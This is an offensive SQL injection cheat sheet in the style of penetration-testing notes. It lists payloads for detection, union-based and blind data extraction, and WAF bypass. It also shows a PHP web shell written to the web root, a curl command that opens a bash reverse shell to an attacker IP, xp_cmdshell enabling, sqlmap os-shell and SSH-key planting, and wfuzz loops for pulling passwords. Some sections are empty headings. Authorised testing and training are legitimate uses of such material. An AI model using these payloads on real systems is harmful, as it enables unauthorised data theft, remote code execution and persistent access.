SQL Injection
Structured Query Language Injection
Detection
Confirmation
- Confirming with logical operations
- Confirming with Timing
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
Login Bypass through SQL Injection
Non-error and Error Based SQL Injection Data Retrieving
First of all detect protocol:
https://portswigger.net/web-security/sql-injection/cheat-sheet (See the same injetions for Oracle, Postgre, etc.)
Number of columns
' order by {Number, increase or decrease until get the correct number of columns}-- -
Version
In the following examples we have 4 columns, we are going to inject what we want in one of them. We can put NULL,NULL,injection,NULL instead of the numbers if that doesn't work. We are going to use the same methodology in most of the remaining injections.
' union select 1,version(),3,4-- -
' UNION SELECT null,@@version,null,null-- -
' and substring(@@version,1,1)=4-- -
' and substring(@@version,1,1)=5-- -
' union all select 1,2,@@version,4/*-- -
Get user
' union select 1,user(),3,4-- -
Read files
' UNION SELECT 1,select_file('/etc/passwd'),3,4,5-- -
Databaes
' union select 1,schema_name from information_schema.schemata-- -
To represent this separatly with commas:
group_concat(schema_name) from information_schema.schemata
If this doesn't represnt all the info, we could go one by one:
schema_name from information_schema.schemata limit 0,1-- -
Then limit 1,1, Then 2,1, Then 3,1 …
Tables
To get all the tables from all the databases:
' union select table_name,NULL from information_schema.tables-- -
Then to filter by any database we discovered previously:
' union select table_name,NULL from information_schema.tables where table_schema='name of the database'-- -
Here as before if this doesn't represent all the info we could go one by one:
' union select 1,table_name,3,4,5 from information_schema.tables limit 0,1-- -
Then limit 1,1, Then 2,1, Then 3,1 …
We can automate this enumeration with a basic bash script:
Columns
Once located the table we are interested in we are going to enumerate columns:
' union select column_name,NULL from information_schema.columns where table_schema='name of the database' and table_name='name of the table'-- -
Then to get the data from a column:
' union select column-example-1,column-example-2 from name of the table-- - Acts in the actual database
' union select column-example-1,column-example-2 from name-of-the-database.name-of the-table-- -
' union select group_concat(column-example1,":"column-example-2),NULL from name-of-the-database.name-of the-table-- -
If this doesn't read ":" or other thing, we write it down in hexadecimal, ex: ":" --> 0x3a
To convert anything to hexadecimal: echo "what we want to convert" | tr -d '\n' | xxd -ps
Also if the web doesn't read the previous concat, we could concat trough different ways, ex:
' union select column-example-1||':'||column-example-2 from name of the table-- -
Writing directories and php command exec
First we try to create a .txt:
' union select "example" into outfile "/var/www/html/example.txt"-- -
Then if the web uses php we try uploading a php file that runs cmd:
' union select "<?php SYSTEM($_REQUEST['cmd']); ?>" into outfile "/var/www/html/cmd.php"-- -
Then in the browser we will verify that the file exists and we can run commands:
www/example.com/cmd.php?cmd=whoami
If this return a command execution then we can get a full shell:
curl example/cmd.php --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/{IP}/{PORT} 0>&1"'
- To execute commands
If we can't execute commands and we are agains MSSQL, we could try enabling xp_cmdshell before with the following SQL Injections:
'; EXEC sp_configure 'show advanced options',1;--
'; RECONFIGURE;--
'; EXEC sp_configure 'xp_cmdshell',1;--
'; RECONFIGURE;--
Confirm:
tcpdump -i tun0 icmp
'; EXEC master.dbo.xp_cmdshell 'ping -n 2 192.168.45.225';--
or
admin' union select null,null; EXEC sp_configure 'show advanced option', '1'; --
admin' union select null,null; RECONFIGURE; --
admin' union select null,null; EXEC sp_configure 'xp_cmdshell','1'; --
admin' union select null,null; RECONFIGURE; --
admin' union select null,null; EXEC xp_cmdshell 'whoami'; --
Blind SQL Injection with conditional responses and conditional errorrs (Boolean-based)
In a Blind SQL Injection we can't see the error and we can't see the data on the web.
Here wen we use ', or ' or1=1, or ' union select, we can't see anything, the web returns you the input.
We can notice a Bsql injection w/ conditonal responses for example if we use and 1=1-- -, that is true, and the web returns "Welcome back!" for example, but if we put 3=2 that is false, we can see that this doesn't return the "Welcome back!" message.
Now we can start the Blind SQL Injection.
On the other hand the Bsql injection w/ conditional errors could we noticed when for example we inject true queries and the web returns 500 Internal Server Error, but if we inject false ones, we recibe 200 Ok status.
Manually enumeration
' and (select 'a' from users limit 1)='a
users is a table we think that could exist and we try a to see if there is any administrator in that table, if this return the true output we know that users table exist and that there is an user with letter a.
Then we can try adding where username is admin or administrator to see if that user exists.
Then we try getting the password length adding at the end and length(password)=>20 ||'
Also we can try getting database name with substr()
' and (substr(database(),<offset>,<character length>))='<character>' --+
Automation with wfuzz
Here we are going to observe the http response size and filter with --hh --hw --hc
parameters of wfuzz
Determine databsae name assuming database name does not include special characters:
for i in $(seq 1 10); do wfuzz -c -z list,a-b-c-d-e-f-g-h-i-j-k-l-m-n-o-p-q-r-s-t-u-v-w-x-y-z --hw=<word count> "http://example.com/example.php?id=1' and (substr(database(),$i,1))='FUZZ' --+";done
We can also use ascii. The below range is the standard ASCII characters (32-127):
for i in $(seq 1 10); do wfuzz -c -z range,32-127 --hw=<word count> "http://example.com/example.php?id=1' and (ascii(substr(database(),$i,1)))=FUZZ --+";done
Determine table name (Increment limit first argument by 1 to get the next available table name):
for i in $(seq 1 10); do wfuzz -c -z range,32-127 --hw=<word count> "http://example.com/example.php?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),$i,1)))=FUZZ --+";done
Determine column name (Increment limit first argument by 1 to get the next available column name):
for i in $(seq 1 10); do wfuzz -c -z range,32-127 --hw=<word count> "http://example.com/example.php?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name=<table name> limit 0,1),$i,1)))=FUZZ --+";done
Update ASCII range to include special characters if you're going after users table.
Python automation to get a password
First install pwntools (pip3 install pwntools)
Example of script that retrieves administrator password throguh injection in cookies:
Blind SQL Injection with time delays (Time-based)
After trying conditional responses and conditional errors, we don't get anything, so we start trying with Blind SQL Injection Time Based.
First of all we need to confirm time-based blind SQL injection using sleep() function
' and sleep(10) --+
Manually enumeration
Determine database version assuming the back-end database is running version 5:
http://example.com/example.php?id=1' and if((select version()) like "5%", sleep(10), null) --+
Automation with wfuzz
Here we are going to observe the http response size and filter with --hh --hw --hc
parameters of wfuzz
Determine database name. The below range is the standard ASCII characters (32-127):
for i in $(seq 1 10); do wfuzz -v -c -z range,32-127 "http://example.com/example.php?id=1' and if((ascii(substr(database(),$i,1)))=FUZZ, sleep(10), null) --+";done > <filename.txt> && grep "0m9" <filename.txt>
Determine table name (Increment limit first argument by 1 to get the next available table name):
for i in $(seq 1 10); do wfuzz -v -c -z range,32-127 "http://example.com/example.php?id=1' and if((select ascii(substr(table_name,$i,1))from information_schema.tables where table_schema=database() limit 0,1)=FUZZ, sleep(10), null) --+";done > <filename.txt> && grep "0m9" <filename.txt>
Determine column name (Increment limit first argument by 1 to get the next available table name):
for i in $(seq 1 10); do wfuzz -v -c -z range,32-127 "http://example.com/example.php?id=1' and if((select ascii(substr(column_name,$i,1))from information_schema.columns where table_name='<table name>' limit 0,1)=FUZZ, sleep(10), null) --+";done > <filename.txt> && grep "0m9" <filename.txt>
Extract column content (Change <column name> to get the content of next column):
for i in $(seq 1 10); do wfuzz -v -c -z range,0-10 -z range,32-127 "http://example.com/example.php?id=1' and if(ascii(substr((select <column name> from <table name> limit FUZZ,1),$i,1))=FUZ2Z, sleep(10), null) --+";done > <filename.txt> && grep "0m9" <filename.txt>
Update ASCII range to include special characters if you're going after users table.
Python automation to get a password
Example of script that retrieves administrator password throguh injection in cookies (postgre protocol):
WAF Bypassing (Web Aplication Firewall)
Replacing Space:
**/**/
+
/*! */
/*!50000 */
/*!1234 */
/*--*/
Null Bytes:
http://example.com/news.php?id=1+%00’union+select+1,2,3′–
Queries through sql comments:
http://example.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3–
URL Encodings:
http://example.com/news.php?id=-1 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4—
Encode to Hex Forbidden:
http://example.com/news.php?id=-1/%2A%2A/union/%2A%2A/select/%2A%2A/1,2,3,4,5 –+-
http://example.com/news.php?id=-1%2F%2Funion%2F%2Fselect%2F**%2F1,2,3,4,5 –+-
Case Changing:
http://example.com/news.php?id=-1+UnIoN//SeLecT//1,2,3–+-
Replaced Keywords:
http://example.com/news.php?id=-1+UNunionION+SEselectLECT+1,2,3–+
Using characters:
http://example.com/news.php?id=-1+uni*on+sel*ect+1,2,3,4–+-
CRLF Technique (Carriage Return and Line Feed):
http://example.com/news.php?id=-1+%0A%0Dunion%0A%0D+%0A%0Dselect%0A%0D+1,2,3,4,5 —
HTTP Parameter Pollution (PHP):
http://example.com/news.php?id=1;select+1&id=2,3+from+users+where+id=1–
http://example.com/news.php?id=-1/* &id= */union/* &id= */select/* &id= */1,2 —
Blind SQL Injection with out-of-band interaction
In this case conditionals, error based and time based doesn't apply.
So we go down to the DNS lookup in the cheat sheet and copy all the text and in Burp Collaborator Subdomain copy our Burp Suite Collaborator Subdomain (only in profesional version). Also for subdomains Ngrok is a great option. Then if this doesn't work we must URL encode all the text (ctrl+U).
Blind SQL Injection with out-of-band data exfiltration
Now that we have tryed all DNS lookup commands and know that protocol is runing, we start with the dns data exfiltration, so we copy the text from the cheat sheet.
SQL Injection with filter bypass via XML encoding
An usefull Burp Suite extender is Hackvector. This this extension we can easly convert the query in too many different ways to get results.
Then we can try the different SQL Injections (schemata,……) there to get what we want.
SQLmap
- Basic Arguments
sqlmap -u "{URL including POST parameter extracted with burp}" --cookie="{cookie}" --data="{vulnerable data tested in burp}" --batch
sqlmap -u "{URL including POST parameter extracted with burp}" --cookie="{cookie}" --data="{vulnerable data tested in burp}"
--dbs
--batch
sqlmap -u "{URL including POST parameter extracted with burp}" --cookie="{cookie}" --data="{vulnerable data tested in burp}"
-D {name of the dbs} --tables
--batch
sqlmap -u "{URL including POST parameter extracted with burp}" --cookie="{cookie}" --data="{vulnerable data tested in burp}" -D {name of the dbs}
-T {name of the table}
--batch
--dump
sqlmap --url="" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs
SQLmap command with known databse and technique (error based in the following example):
sqlmap -u "<url>" -p "<param>" --technique=E --dbms=<data base, ex: oracle> --level=2 --risk=2 --tamper=space2comment --batch
SQLmap command to narrow down results from sqli exploitation:
-D <database name> -T <table name> -C "columun1,column2,column3" --where="column1 IS NOT NULL" --dump
Others:
- Request File
We can copy the burp interception in a request, leave the injection path without any payload and rigth click, save file, then:
sqlmap
-r admin.req
-p total_service --batch
To load a request file and use mobile user-agent:
sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1
- Shell
We can also run code directly from sqlmap if RCE can be executed:
To execute a command:
sqlmap -r login.req --os-cmd=whoami --batch
To launch an interactive shell
sqlmap -r login.req --os-shell --batch
Prompt for an OOB shell, Meterpreter or VNC:
sqlmap -r login.req --os-pwn
SSH Shell:
sqlmap -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/
- Crawl a website with SQLmap and auto-exploit
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
- Custom Injections
Set a suffix:
sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
Set a prefix:
sqlmap -u "http://example.com/?id=1" -p id --prefix="') "
--not-string "string"
to find a string that does not appear in True responses (for finding boolean blind injection):
sqlmap -r r.txt -p id --not-string ridiculous --batch
5 commands to easily identify sqlis with sqlmap:
subfinder -d target.com | tee -a domains
cat domains | httpx | tee -a urls.alive
cat urls.alive | waybackurls | tee -a urls.check
gf sqli urls.check >> urls.sqli
sqlmap -m urls.sqli --dbs --batch
- WAF Bypassing
To check the WAF:
–identity-waf or –check-waf
To use tor and a random user agent:
sqlmap -u http://www.ejemplopaginaweb.com/galeria.php?categoria=2 --tor --check-tor --tor-port=9150 --tor-type=SOCKS5 --level=5 --risk=3 --random-agent
Once identified the back-end database, we will use tampers:
--list-tampers
--tamper=name_of_the_tamper
--tamper=base64encode
Example:
sqlmap.py -r hack.txt --dbs --risk-3 --level-3 --tamper-between --flush-session-technique-B
sqlmap.py -r hack.txt --dbs --risk-3 --level-3 --tamper-between, tofla -technique=B
Use one of the following tampers depending on the back-end database:
General Tamper testing:
MySQL:
MSSQL:
MSAccess:
PostgreSQL:
SQLite:
Automating Blind SQL injection over WebSocket
Last updated